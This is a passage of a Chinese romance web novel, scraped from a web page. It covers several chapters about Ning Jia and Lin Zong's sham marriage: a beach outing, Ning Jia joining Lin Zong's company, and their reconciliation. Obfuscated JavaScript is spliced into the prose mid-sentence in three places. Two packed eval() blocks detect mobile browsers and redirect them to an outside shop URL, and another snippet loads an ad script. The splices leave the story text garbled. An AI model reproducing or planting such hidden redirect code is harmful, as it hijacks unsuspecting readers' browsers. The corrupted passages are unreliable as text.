窗外,不明显的月光的照进来,凌晨两点多,很困的林纵在陪很清醒的宁嘉聊天,给他做周末计划,提这个时间点无关紧要的意见。 宁嘉的良心让林纵现在就去睡觉。 宁嘉的私心觉得这样的时刻实在太浪漫了,好想林纵多陪他浪漫一下。 几番拉扯之下,宁嘉终于说:“学长,我们先睡觉吧?” 林纵好像是清醒了,声音也清晰起来:“你不是不困吗?” 宁嘉打了个哈欠,转身,理所当然地熊抱住林纵:“困了困了,现在困了,我们可以睡觉了。” 五秒钟后,宁嘉就有点后悔了,这个姿势有点太亲密了,好像不太适合他和林纵的虚假婚姻,松开手,正准备退开一点,林纵就一胳膊把宁嘉又搂了过来。 力气很大,抱得很紧,宁嘉被箍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13744359|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的动弹不得。 行动受限,嘴巴没有受限:“学长,你小时候是不是特别喜欢抱着洋娃娃睡觉。” 林纵闭上眼睛:“是吧。” 宁嘉一本正经地说:“这个习惯不好,听说洋娃娃很脏,上面很多虫子,你只要扒开那层毛绒绒的表面,就能够看见......” 林纵:“......” 宁嘉被捂了嘴巴,林纵手上的劲松开了一点,颇为无奈道:“好了,我知道了,要睡觉就睡吧。” 宁嘉很满意,拍了拍林纵的胸口:“安啦,学长晚安。” 第二天早上,宁嘉睡醒,林纵已经不在边上了,宁嘉在床上翻来覆去滚了好几圈,伸直了手,又拉长了腿,在床上扭成一条蛆,又反复复原。 总算是醒了,蹬蹬被子爬起来,打开窗帘,窗外明亮的光线直直地照进来,宁嘉像个不能见光的白骨精,闭上眼嗷嗷叫。 片刻后,宁嘉适应了光线,背着手站在落地窗前,神色淡然。 突然,宁嘉眼神锁定,看到了院子的石桥上站着个人,打着把伞,从此人帅气的背影来看,应该是林纵无疑了。 这条小池塘挖得很浅,池子也不大,几朵荷花已经很大程度装饰了这里,王八仰在荷叶上呼吸新鲜空气,因为下雨池水中氧气不足,连鲤鱼都时不时出来吐个泡泡。 这个家,因为宁嘉在,一直在增添人气,最开始是一只猫,现在连猫吃的鱼都养了,院子里树叶碧绿,荷花上点缀雨水,一切都变得赏心悦目起来。 雨在这一刻突然变大,雨声啪嗒啪嗒搭在青石板的地面上,宁嘉没有撑伞,就这么闯进雨里,跑到林纵面前,连眼睛都是亮的:“学长,你怎么一个人在这?” 林纵把伞倾斜过去:“因为你在睡觉。” “也是。”宁嘉被林纵的话说服,转头看着池塘,又看到了和他一样咸鱼的王八,蹲下去,忍不住伸手拨弄,“兄弟,你很享受啊。” 王八立马把脑袋缩进龟壳里,这凡人忒烦人。 林纵跟着蹲下来:“伞都不撑,头发都湿了。” 宁嘉不以为然的甩甩头发,挂在发尾上的雨水溅到了林纵脸上,乐得他哈哈直笑:“学长,你等下和我一起洗头好了。” 那王八头钻出来一点,就被宁嘉一手指头又戳了回去,钻一次戳一次,偏偏人和王八都乐在其中,宁嘉养的动物好像总和他本人一样,莫名讨人欢心。 玩了一会儿,宁嘉把王八整个拿出来,王八终于自闭了,缩回龟壳里不动,宁嘉摸了摸龟壳,问林纵:“学长,今天下雨,我们还要出去玩吗?” “你想出去玩吗?”林纵问。 宁嘉转过头看向林纵,心说我当然想啊,下雨而已,下冰雹我都想出去。 但他没想到林纵离他这么近,两人毕竟同撑一把伞,算起来也只是一朵雨中的蘑菇。 靠得太近了,宁嘉一转头,两人差点亲在一起。 我想说什么来着?宁嘉晕乎乎地想。 我想说......我想。 宁嘉突然凑近,用这辈子最快的速度亲了林纵一口,然后迅速跑路。 因为脚麻踉跄了一下,但宁嘉仍然头也不回,跑得飞快。 视线里只剩一道残影。 林纵:“......” 62. 第 62 章 等到林纵上楼找人的时候,宁嘉已经面不改色在收拾行李了,全然忘记刚刚自己耍流氓的行径。 上次漂流买过泳裤,宁嘉把他和林纵的泳裤都收拾了,又各带了一套换洗的衣服,林纵不上班就穿的很休闲,短袖长裤像个貌美的大学生,只是从柜子里找出林纵的衣服,宁嘉就想笑。 “笑什么?”林纵问。 宁嘉把林纵的衣服比划给他看:“学长,你上班都穿那样的,下了班又穿这样的,就很反差萌。” 宁嘉总有些古灵精怪的想法,林纵看着那件偏大的衣服挡在宁嘉年前,问道:“不好看吗?” “好看啊,”宁嘉把衣服叠好收进行李袋,一本正经地说,“你穿衬衫好看,穿短袖也好看。” 真不知道这人怎么能面无表情说出这样的话。 短途出行不需要带很多东西,宁嘉很快就把东西收拾完了,本着有缺就买的原则迅速摆烂,宁嘉斜进沙发里,看窗外的雨:“学长,外面下雨呢。” 他忘了自己刚刚说过这样的话,又问:“下雨,我们还要出去吗?” 林纵问:“下雨不好吗?” 宁嘉说:“我们不是要去海边吗?会不会有台风。” 时间还早,林纵坐到宁嘉身边看雨,窗外雨下的很大,落地窗上满是雨珠,模糊了视线,让人看不清:“怕被吹走?” 宁嘉在这个时候当然不能怂:“倒也没有。” “吹走也没事,我们两个一起被吹走。” 林纵说这话的时候是笑着的,要让宁嘉形容的话:“像是要私奔。”宁嘉把话说出口。 林纵偏过头,像是不经意地问:“那你要和我私奔吗?” 宁嘉:“......” 说这干什么!怪让人不好意思的! 上午十点多,予市,风大雨大,车子行驶在路上,雨刮器需要开到最大,宁嘉还没吃早饭,和林纵坐在家里的沙发上看着窗外的雨景发呆。 其实什么都不用做,这样的雨天就很让宁嘉感到高兴。 雨滴拍打在玻璃上的白噪音悦耳动听,听得宁嘉昏昏欲睡,打了个哈欠。 林纵说:“吃了饭再出去,不着急。” 宁嘉问:“那我们什么时候回来?” 林纵:“今天和明天都可以。” 宁嘉弹射起步:“那还要再带一套衣服。” 林纵跟着起来:“你想吃什么,我去给你做饭。” 宁嘉从衣帽间里钻出一个脑袋,一点都没有不好意思地说:“虽然我们要去海边,但我想在出发前吃海鲜。” 林纵懂了:“阿姨买了小青龙。” 宁嘉的眼睛立马就亮了,又听林纵说:“吃烤的,加芝士。” 宁嘉震惊:“学长,你还会做这个?” 林纵当然不会,他只是会一些很家常的菜系,小时候跟着林俏俏学了些,长大后又无师自通。 但他好像天生有这样的能力,只是对着菜谱做饭,就不会难吃。 林纵:“你收拾完下来。” 宁嘉搓搓手:“懂的懂的。” 吃过饭,外头的雨也小了,林纵从车库里开出车,宁嘉正准备上车,林纵却从驾驶室出来了。 宁嘉:“怎么了?” 林纵问:“你要不要试着开车?” 宁嘉是有想过要尝试的,毕竟开车的男人最帅,上次被三个酒鬼一路上指指点点,最后还是安全到了家,虽然开车很惊悚,又很胆战心惊,他还是想试试。 林纵看出了宁嘉的犹豫,直接走过来,把宁嘉推进去:“不用怕,试试,我在你旁边。” 宁嘉被塞进驾驶室,林纵探进来替他系好安全带,这是一个类似于拥抱的姿势,林纵顺势在宁嘉脸颊上亲了一口:“还你的。” “你怎么这样啊!”宁嘉脸上突突冒着热气,等到林纵坐进副驾驶,他又不说话了,检查手刹检查档位,反正就是很忙。 可能因为下雨,周末出行的人并不多,宁嘉以二十码的车速把车开进道路,谨慎且慌张:“学长,其实我连小毛驴都没有开过。” 林纵知道他很紧张,在红绿灯处停下时才问:“自行车骑过吗?” 这话倒不是第一有人问宁嘉,笑说:“没骑过,你呢?” 林纵示意宁嘉绿灯,宁嘉慌张地松刹车,林纵的声音却不疾不徐:“我骑过的,很小的时候,我妈给我买了三个轮的自行车。” 前方没有车,宁嘉渐渐开得平稳起来,闻言,眼睛都眯起来了:“妈妈好好。” “对的,”林纵说,“因为别的小朋友都有,所以我也会有。” 那个时候林纵不懂他与别人的不同,只有问过一次,他为什么没有爸爸,林俏俏只是笑着摸摸他的头:“有妈妈不可以吗?” 小林纵就没有再问了,他不懂,却在那个时候感觉到了林俏俏的情绪,大概母子亲情就是这样,有些东西是天生的,刻在身体的,打断骨头连着筋的感情。 他们曾经公用过一个身体,所以林纵知道林俏俏不想说。 那个时候的林纵想,妈妈不说也没有关系,反正不是多重要的事。 那些年林俏俏孤身一人带着孩子,没有依靠,只能自己赚钱养家,一个流离失所的女人还要赚钱养一个儿子,并且努力让儿子和别的小孩拥有一个的童年,林俏俏非常了不起。 “学长,你现在已经是大朋友了,好酷哦。” 林纵摸了摸宁嘉的头,觉得他说出这样的话也很酷。 他们要去的海边在临市,要开两个多小时车程,宁嘉看着导航上望不到头的目的地只开了二十分钟就怂了:“学长,我不行了,我好紧张,心脏扑通扑通跳,快要跳出来了。” 宁嘉把车停到路边十分真诚地说:“真的,我没有骗你,不信你可以摸摸。” 林纵的手动了动,做个要伸手摸的动作,立马立马就怂了,紧捂住自己,像个良家妇女:“我我,开玩笑的,你不要乱来啊!” 林纵笑着开了车门,宁嘉从他这边立马下去了,两人在路上碰到一起,林纵顺手把宁嘉额头上的汗给擦了,看起来是真的很紧张。 宁嘉全程坐得僵直,双手牢牢地握紧方向盘,小心翼翼地四处看看,随便一辆车都开得比他快,还被好几辆小毛驴超了车。 “我真的吓死了。”上车后,宁嘉讲悄悄话似的说。 林纵熟练地启动车子,这在一个不敢开车的菜鸡眼里,简直帅呆了。 “周末车多,开成这样已经很厉害了。”林纵安抚道。 宁嘉立马嘚瑟起来:“是吧是吧,我真的尽力了。” 林纵说:“下次找个没车的地方再试试。” 宁嘉开出了心得,虽然怕但越挫越勇:“好的好的,我没有问题。” “困的话可以睡一下。”林纵说。 宁嘉难以置信:“学长,我才刚睡醒两个小时。” 林纵问:“困了就可以睡。” 宁嘉说:“我又不是猪。” 林纵轻飘飘地瞅了宁嘉一眼,宁嘉立马阻止:“憋说了,你长得这么好看,不可以说出这么残忍的话哦。” 路上雨始终没停,雨刮器勤勤恳恳地工作,到了临市也没有歇下来,越靠近海,雨竟然越来越小,到最后彻底停了。 最后一段是山路,宁嘉远远看见了蓝色的海,然后才是边上玩耍的人。 打开车窗,沿着山路,凉爽的海风吹进车内,宁嘉扒拉在车窗旁:“哇,好多人,学长你看,好多人啊——” “要直接换衣服吗?”车子停到停车场,宁嘉看着前方经过的一个穿裤衩的裸男问。 林纵说:“这里是还没有开发完全的海边,优点是干净,但相关设施可能没有那么全面,怕麻烦的话,可以先在车里换好。” 宁嘉也是这么想的,带着衣服走来走去也麻烦,说着钻进了后座。 这个年纪的大部分人渐渐学着沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13753755|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稳,正常情况下会从副驾驶下车再进到后座,宁嘉偏偏别出心裁,个头也不小,卡着车里非要往后钻。 宁嘉脱了衣服要去挡林纵的眼睛:“学长,你不要看。” 宁嘉在这方面总是奇奇怪怪的拘谨,床上和床下永远是两个样子。林纵很配合地低头刷手机。 主要是扒裤衩子不好意思,宁嘉很快换上泳裤,伸手拍拍林纵:“学长我好了。” 宁嘉下车等林纵换衣服,等到林纵换好衣服,打开车门。 守在车边的宁嘉:“......” 林纵:“?” 宁嘉又把林纵推了回去。 此时正好有路人经过,未关严的车门里,伸出两双笔直修长的腿,好事者轻轻投过视线,吹了声口哨,宁嘉惊得把腿往里收了收。 “不走吗?”林纵问。 宁嘉满脸正经:“学长,你穿成这样太帅了,这不行的。” 腰部以下都是腿,腰上还是八块腹肌,这不科学,他们每天吃一样的饭,为什么林纵的身材这么好? 林纵已经搞不懂宁嘉的脑回路了,手指点着宁嘉的额头把人按出去:“上次也是这么穿的。” 宁嘉嘀嘀咕咕:“上次没觉得你这么帅。” 林纵哭笑不得:“我最近整容了?” 宁嘉唠唠叨叨:“我怎么知道。” 林纵:“......” 他们在海边租了个烧烤架,烤串调味料都有提供,找到一块偏僻的位置,边上有块大石头可以坐,垂下腿刚好可以踩进柔软的湿沙里。 “学长,什么时候涨潮啊。”宁嘉边烤串边问。 林纵被宁嘉安排,坐在边上的石头人当美人鱼,挺配合地回答:“应该要四点多。” 宁嘉问:“你看过啦?” 林纵说:“我瞎说的。” 宁嘉:“......” 过了几分钟,宁嘉举起烤串,问:“学长,你看看它熟了没有?” 林纵咬了一口,更加配合地说:“外面焦了,里面生的。” 宁嘉:“......” 林纵替换了宁嘉烤串的位置,宁嘉去海水里跑酷,跑了一圈沾了满腿的沙回来:“学长,海水是热的。” 天边云层渐渐散开,林纵抬头望了望:“今天可以看到夕阳。” “是哦。”宁嘉像个脱缰的哈士奇又去踩水了。 等到宁嘉回来,烤串也熟了,他日常运动量少,坐在石头上气喘吁吁:“学长,说点什么吧。” 林纵递了一串不辣的给宁嘉:“你想听什么?” 宁嘉接过来十分信任地吃了,夸道:“好吃!”又说,“就比如不工作的时候都在干什么。” “在家,你也看到了。” 宁嘉往下挪了挪,踩着水玩:“除了在家呢,”他瞪着林纵,“不准说工作,”想了想,“就说遇上我之前。” 林纵知道宁嘉的意思了:“我和闻凯有家酒吧。” 宁嘉:“我知道,就是我们上次去的那个。” 林纵:“嗯,有时候去那边坐坐,没什么生意,所以也安静。” 宁嘉摇头晃脑,心情很好:“不是说有钱人没事就赛车高尔夫的吗?” 林纵看看他:“你说的那种有钱人是林少,不过林少喜欢的是别的。” 宁嘉一脸惨不忍睹:“憋说了。” 林纵点头。 有这样的地方什么都不做心情也会很好,宁嘉全身上来都是快乐的细胞,闲不住,没一会儿又说:“我上次见到那个酒吧里有个架子鼓,没听到有人敲啊。” “你想听?” “也不是想吧,”宁嘉说,“感觉会这种才艺的人都酷酷的。” 林纵:“才艺?” 宁嘉直点头:“上次在商城,看到有小朋友在敲架子鼓,很酷的,虽然那是培训中心在招学生。” 林纵决定,不告诉宁嘉,他有这样的才艺。 63. 第 63 章 这天傍晚,宁嘉在告别学生时代以后,第一次看到了夕阳。 金灿灿的暖阳带着余温温暖了海水,随后渐渐西沉,落入海面。 那个时候宁嘉和林纵正泡在海水里,因为宁嘉缠着林纵去玩水,于是林纵本着勇于尝试的原则,把宁嘉带进深水区,不会游泳的宁嘉挂在林纵身上,活脱脱像个猴。 宁嘉站在海底,因为浮力有着站不稳,海水没入宁嘉胸口的位置,宁嘉只觉得呼吸困难,被林纵带回岸边后心有余悸地直拍胸口:“好玩是好玩,但是不会游泳一点都不好玩。” 林纵牵着宁嘉往回走:“有空去学。” 宁嘉噗嗤一声笑起来,甚至没觉得他和林纵就这样牵手有哪里不对:“嫁入豪门的人都要学那么多东西的吗?” 林纵让宁嘉学车,还让他学游泳,仔细想想都是些好东西,但宁嘉有种自己入读贵妇速成班的感觉。 周日下午,宁嘉在回程路上收到人事的短信,通知宁嘉明天上午进公司入职,宁嘉看短信的时候,神情猥琐,动作也偷偷摸摸,不敢让林纵看他的手机屏幕。 回到家,宁嘉也没想好要不要和林纵讨论这件事,到最后什么都没有说。 第二天上午,人事把几份表格交到林纵面前:“这是我们公司最近入职的几份职员名单,林总您上次说需要协从助理,可以在这几位中挑选面试。” 林纵一向不太管公司的人员调动,进来什么人都有谁离职,公司里上下阶级明显,就算是主管以上的人员调动,他也基本上不会多加干涉。 归根究底,这份蛋糕是林家的,林纵不需要做什么,该林平生操心的,他从来没有放下过。 人事展开六份职员名单,逐一介绍,一向稳重地助理仍不住插嘴:“啊,宁嘉,这不是......” 说着看向林纵,人事听到他的话也看向林纵,林纵面不改色,从中挑选出三人:“这三人安排面试,其他的你自己看着办。” 人事还想再征求助理的意见,助理却不敢看他了。 新进来的六名员工年纪还小,都是应届毕业生,听说有岗位调动的可能要给总经理当助理,各个都很兴奋,几个人围着聊起天来。 不久后,人事回来,报了三个人的名字:“你们三个跟我过来,其他人再等等,晚点统一安排。” 剩下三人包括宁嘉你看看我,我看看你,有点失落,但不多,只有宁嘉的表情最奇怪,好像经历了什么不能忍受的事,耷拉着眉眼,堪比失恋。 身边的人碰碰宁嘉:“不要这么沮丧啦,助理不是那么好当的,天天加班还要看经理眼色,底下人有底下人的好。” 宁嘉虚弱地摆摆手,周末两天和林纵的快乐生活麻醉了他,以为自己对林纵不同,就算没有感情好歹还是个合法关系,在这么多个人里面看到宁嘉的名字,就算不打扮让宁嘉当助理,好歹来个职场play先见一面嘛。 宁嘉轻轻地碎掉了。 等到入职,已经临近中午,宁嘉还是第一次知道,林纵的公司还有员工食堂,他跟着上司一起去了食堂打饭,正排着队,突然听见有人在说:“林总中午也来食堂吃饭啊!” “刘哥不是说林总每天都在吃有钱人吃的东西吗?” “人家吃的是星级餐厅的外送,我们能比吗?” “所以他今天怎么过来了。” 早上才入职的同事亲昵地拉着宁嘉的手:“完了完了,没人说过林总长这样啊。” 宁嘉一脸麻木:“他长这样你怎么样?” 同事两眼泛光:“他长这样,我给他免费打工也可以啊。” 宁嘉:“哥,你是男的。” 同事怒拍胸脯:“哥是直男,但不耽误哥欣赏帅哥!” 宁嘉中午懂江软当初看他是什么眼神了,此时他也正这么看着同事,语气冷酷:“哦,是吗?” 同事完全沉浸在看见帅哥的喜悦之中,根本没听宁嘉在说什么。 林纵来食堂打饭,身后跟着的助理也是一副要死的样子,林纵还很亲和的样子,和大家一样素质排队,就是脸臭了点,这么多人看着也不知道笑。 林纵难得出现,吸引了众人注意,四周议论纷纷,多的是当着正主面眼神肆意的人,宁嘉也在这么多人里面,看向林纵,既希望林纵看见他,又希望林纵不要看见他。 突然,林纵抬头,冰冷的眼神精确无误地落在宁嘉身上,和上次一样,他像是不认识宁嘉,只是不经意看到了一个陌生人,很快便收回了视线。 宁嘉:“......” 宁嘉龇牙,咧嘴,一脸凶狠,生气,就算是不想见到我也不用这样吧! 宁嘉表情冷酷,眼睛像是要喷火。 为什么,为什么,为什么要这样对我!! 下午,宁嘉在新岗位工作,换了环境觉得新鲜,工作内容也有不同,宁嘉年纪轻轻正是闯荡的年纪,看到什么都热情高涨。 宁嘉这边好好在工作,一转头,林总请大家的下午茶就到了,人手一杯冰奶茶。 一些老员工已经迫不及待喝奶茶了,拿到手又有点失望:“啊,怎么没有珍珠啊。” 另一个人说:“好像全部都没有珍珠。” 宁嘉的上司也宁嘉也拿了杯奶茶:“不要太害羞,我们以后就是同事了,大家都很友好的。” 宁嘉接过奶茶,心里又不是滋味了,问:“林总经常请大家喝奶茶吗?” 当然不是了,同事心说,全公司那么多人,钱再多也不是这么烧的。 为了给新员工一个良好的印象,同事说:“经常的,我们林总人很好的,你放心。” 哦,果然,以前给我买下午茶都是顺便,请我同事也是因为学长人好,好了,我知道了。 一点都不美好的下午在煎熬中终于要过去了,宁嘉嘴里的吸管都要被咬烂了,下班时间,新来的几个同事你看看我,我看看你,虽然没什么事要做,但也不敢下班。 上司却很好讲话:“哎呀,你们没什么事就先下班吧,明天早点来。” 于是,宁嘉就这么站在公司楼底下,撑着把伞,静静地等待公交。 几分钟后,宁嘉等到了一辆黑色轿车,车窗打开,里面是乐呵呵地司机,宁嘉一脸无语,坐上了车。 林纵坐在后座上,宁嘉旁边,对今天发生的一切没有任何要说的话,面不改色地浏览一份文件,并说:“你们下班挺早的。” 宁嘉心里简直抓狂,不知道林纵葫芦里卖着什么药,还是这么长时间,林纵终于卸下伪装不想当人了。 宁嘉皮笑肉不笑:“新入职领导一般都会好两天。” “嗯,”林纵没有打算在这个话题上多说什么,把手上的文件看完,合上,转而看向宁嘉,虚伪的笑容和他的新领导很像,“晚上出去吃吧,你想吃什么?” 宁嘉总算知道电视剧里所谓的职业假笑是怎么来的了,伪装的很困难,太想要翻脸。 但是宁嘉忍了,他认为自己不是这么没有耐心的人,既然说要来追林纵,林纵的漠视就是对他的一种考验。 “吃什么都可以,”宁嘉微笑,“学长你有什么想吃的吗?” 宁嘉怀疑林纵在忍笑,但他没有证据 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,林纵眉毛不明显的抖动可能是空调吹的, 呵。 林纵温和地笑起来,笑容如沐春风:“闻凯说有一家新开的日料店味道不错,你想不想尝尝?” 宁嘉干巴巴地挑衅:“我不吃生的。” 林纵从善如流道:“那就点些熟食吃。” 宁嘉笑不出来了。 宁嘉长这么大,从来都没去一看就吃不起的日料,餐品是林纵点的,还贴心地为宁嘉倒了茶水。 宁嘉他学长什么都干了,就是不和宁嘉提白天为什么装作不认识他,还不选他当助理。 哦,和我结婚是那么让你掉价的事!! 你都不敢说!! 那当初结个什么婚啊,果然是我勉强你了!! 宁嘉在心里上演一出苦情大戏,面色却不显,和林纵有问有答,看起来关系相当和谐。 “怎么想到来我们公司上班了?”林纵随口问。 宁嘉嘴角一抽,没想到下了班还要接受面试官的灵魂拷问:“投了好几家,哪家面试上了,我就来哪家。” “嗯。”服务员上了道拌饭,林纵把碗端到宁嘉面前,“饿不饿,吃一点,日料吃不饱。” “是吃不饱,”宁嘉阴阳怪气地说,“所以你干吗要来吃这个嘛。” 宁嘉话里带着戾气,对林纵很不满意,偏偏林纵没听懂,还笑笑:“没吃过来尝尝鲜,饿了等下换一家继续吃。” 真是给宁嘉整无语了,一拳头打在棉花上。 拉到,不打了。 晚上回到家,宁嘉又饿了,想吃泡面,磨磨蹭蹭往厨房跑。经过一顿饭的和谐相处,已经不怎么生林纵气了。 “学长,你饿不饿,吃不吃泡面?” 林纵正准备去书房,闻言回头:“嗯,我有些工作要先处理。” 宁嘉便问:“你介不介意在书房吃泡面?” 宁嘉也太好哄了,气性这么短,林纵无奈道:“不介意。” 宁嘉风风火火拆泡面:“好好好,我等下送上去给你吃。” 林纵叹气:“......哎。” 宁嘉端着泡面上来,林纵还在处理工作,清开一点空位,让宁嘉放碗。 宁嘉无意间瞥了瞥,反正看不懂:“学长,你怎么每天有那么多工作要在家里做。” 林纵偏头看了他一眼:“今天提早下班了。” 宁嘉没有情趣,还问:“为什么?” 林纵说:“想送你回家。” 这让宁嘉多不好意思啊。 傻笑:“嘿嘿。” 本来,宁嘉以为这件事就这么过去了,他也不是斤斤计较的人,男人嘛,谁还没点秘密什么的。 但宁嘉夜里做梦,梦见自己给林纵当起了小助理,端茶送水捏腰捶腿,在梦里还挺享受为林纵服务的过程。 于是宁嘉乐极生悲,在梦中突然惊醒。 宁嘉郁闷的沮丧地起床上厕所,回来趴到玻璃窗上看月光,天还这么黑呢,阴沉沉的,和他此刻的心情一样。 他只是想给林纵当个小助理而已,这么简单淳朴的小心愿,林纵为什么不愿意满足他。 以前睡觉还天天抱着,现在连抱都不抱了。 我怎么会喜欢上这么一个薄情郎。 林纵睡梦之中感受到一股阻力,似乎阻止了呼吸。 睁眼,宁嘉正锁着他的喉,双手握在他颈间,力道其实不重。 林纵难得惊讶地看着他。 宁嘉却恶狠狠地说:“没错,我就是在杀夫!” 林纵:“......” 64. 第 64 章 林纵拍拍宁嘉的手,示意他松开,冷静一点。 宁嘉龇牙咧嘴,凶神恶煞,像暗夜里索命的恶魔,故作癫狂:“我冷静不了一点。” 宁嘉是跪坐在林纵身上的,林纵扣住宁嘉的脖子和腰,把人按住,压下来,扣在怀里不让他动弹。 “还以为你能憋到什么时候。”林纵的声音在夜色里带着笑意。 宁嘉十分凶狠:“我憋什么憋,我连拉屎都很顺畅。” 房间没开灯,宁嘉看不见林纵的脸色,只觉得他在笑,笑话他。 林纵问:“你有什么想问我的吗?” 林纵使出了抱着洋娃娃睡觉的劲,宁嘉动弹不得,气急败坏:“你有什么想要对我说的吗?” 林纵笑声明显:“应该是没有的,如果你有什么想问我的,可能我能回答你一点。” 好嘛,读点书还在这大半夜搞辩论赛,宁嘉心很累,轻而易举决定屈服。 心里的怨气像苦水一样,顷刻间倒了个干净:“你干吗要在公司装不认识我,招助理不能给孩子一个面试的机会吗?虽说走关系可耻,但你都不愿意走,这对我来说太残忍了。” 宁嘉伏在林纵身上郁闷,抱着他的脖子啃了啃,连牙印都没有留下:“我就是觉得你特别不在意我,不管怎么样我们也有个法律关系在,总要比别人亲密一点是不是?” 宁嘉嘴上说着要追林纵要怎么怎么样,才靠近一点林纵,就恨不得把林纵捧在怀里。 宣誓主权不算,他还妄想要林纵的在乎。 这其实很奇怪,但宁嘉做不到,也控制不了,如果林纵真的很不在意他的话,他可能会退缩。 宁嘉性格活泼,跳脱,却惶恐于人与人之间的关系,做不到张弛有度,他会害怕。 如果真的得不到,就会想,算了。 而不是,无论如何,他一定要是我的。 林纵温柔地抚摸着宁嘉的脊背,语气轻缓地安慰:“你心里不高兴,为什么不早点问我。” 林纵有在逗宁嘉的意思,也在试探他的底线,他们之间并没有完全了解,林纵在这个过程中想要了解宁嘉是什么样的人,更具体一点。 “说问就问,岂不是显得我很没有志气。”宁嘉在这个时候还凶巴巴的。 “也是,”说话时林纵仍然拍着宁嘉的背,“夫妻这门课,我也是第一次学,有不好的地方只能麻烦你原谅我了。” 宁嘉坐起来,俯身拉开一盏床头灯,又坐了回去:“我现在问完了,你说吧。” 这下宁嘉看见林纵挑衅的眼神了:“你确定要用这个姿势?” “就这个姿势!”他们都好几天没上床了,宁嘉倒想看看林纵对这件事是个什么想法。 林纵双手枕在后脑勺,以一个相对舒适的姿势接受宁嘉的俯视:“这件事说起来也简单,我现在工作的公司是林平生的,你应该知道。” 正经下来,宁嘉也不闹了,严肃点头。 林纵笑了下:“我打算离职了,所以最开始是不希望你就职我们公司的。” “不过人事招聘的事我不打算干预,也是想看看你的能力,在没有我介入的情况下,能不能进到我们公司。” 这样一来就会有一个问题,宁嘉就职在林纵即将离职的公司,那么宁嘉接下来的日子到底要怎么相处。 不过宁嘉现在关心的不是这个:“那招助理是怎么回事,你连面子都不给我呢!” 林纵挑眉:“你缺这个面子?” 宁嘉点头:“很缺!” 林纵笑笑:“新招的助理是交接工作用的,陈遇以后会跟我一起走,他最早之前就是我招进来的,不是林平生的人。” “你不要参与这些事情是最好的,我不想你以后跟着我离开,还要被议论。” 听到这里,宁嘉终于舒服了:“我以后跟着你走?” 林纵反问:“不然呢,你留着给林平生打工?” 宁嘉疯狂摇头:“那不至于不至于。” 他对林平生的厌恶程度仅次于吴良仁,这两个老男人,一看就不是什么好人,虽然他和林平生接触的少,讨厌的没有那么明显,厌恶的情绪却少不了,这是没有办法的事。 非要让宁嘉选择的话,他肯定更在乎林纵,林平生一个糟老头子算什么回事。 “所以就是这样?”宁嘉听明白了,“因为你要离职了,所以我突然进来算是打乱了你的节奏?你才装作不认识我,也不想和我扯清关系?” “可以这么说吧。”林纵想,除了宁嘉说的有几个词语太具有个人色彩。 宁嘉点头:“我知道了。” 这样之后,宁嘉又开始好奇别的,既然林纵都让他问了,索性问个明白:“那你离职之后要去哪里呢?” 林纵说:“我和闻凯有个小公司你还记得吗?” 宁嘉突然酸酸的:“你们关系真好,又有酒吧,又有公司,关系好到穿一条裤子呢。” 林纵:“......” “那间公司是有人代管理的,当初签了一年的合同,刚好也快到期了。闻凯暂时还要在家族企业里上班,本来再招人也可以,但我想自己试试。” “所以学长你以后有属于自己的事业啦,太好了,你自由了。” 宁嘉看待问题的角度总是和旁人不一样,说出口的话总让林纵熨帖。 林纵笑着点头:“是这样说。” 宁嘉却又问:“就是因为管理要离职,所以你才打算过去的吗?”这个决定未免太突然了。 林纵看着宁嘉,猜想宁嘉会不会知道真正的原因:“你觉得是因为什么?” 宁嘉挠挠头,垂下手下意识放在林纵胸口,突然话茬一转:“学长,你都在哪里健身的,身材这么好。” 林纵:“......” 宁嘉色胆包天,说完自己都乐了:“我不知道啊,我猜不出来,是不是和林平生有关系啊,你不想搭理他了。” 宁嘉答对了,但林纵不打算回答他的问题,他坐起来,抱住宁嘉:“聊完了,做点该做的事。” 宁嘉搬起石头砸自己的脚,这下毫无怨言了:“......” 隔天早上,宁嘉腰酸腿疼,眼睛困得睁不开,林纵起床的时候宁嘉跟着醒了,这是长时间以来的习惯,林纵作息规律,宁嘉没定闹钟,潜意识跟着林纵的习惯走。 “起床吗?”林纵问。 宁嘉翻了个身,用屁股对着林纵:“我不上班了,你把我开了吧,反正过几天也是要走的,有没有工资还不知道,有谁白天上班晚上还要上班的,太过分了。” “那就不上,”林纵从善如流道,“你在家休息,我晚上早点回来。” 宁嘉骨碌碌坐起来,动作很迅速,但表情扭曲了一下,连忙换了个姿势,顶着鸡窝头,一脸斗志昂扬:“我去上班,我要去上班的。” 当年来到林平生身边,林纵最多的情绪是不甘心,舍不得林俏俏,也不明白为什么是他要离开妈妈。 当年林纵才八岁,什么都不懂的年纪,最先明白的词语叫颠沛流离。 事到如今,他才知道颠沛流离最正确的用法,因为要和林纵结婚所以离开岩市,林纵也不信宁嘉前几天的辞职和林少最开始的闹事毫无关系,事到如今,林纵又让宁嘉陪他一起做。 不知道宁嘉会不会觉得,好像做什么事都没有太大的意义,所谓的坚持和持之以恒,在宁嘉这里成了莫须有的东西,即便他想要怎么做,生活也总是不允许。 昨天早上,宁嘉没敢说他被录取的事,在林纵出门后才打车去了公司,今天早上倒是不用,和林纵一起吃早餐,终于能蹭车坐到地下车库了。 (function () {var id = 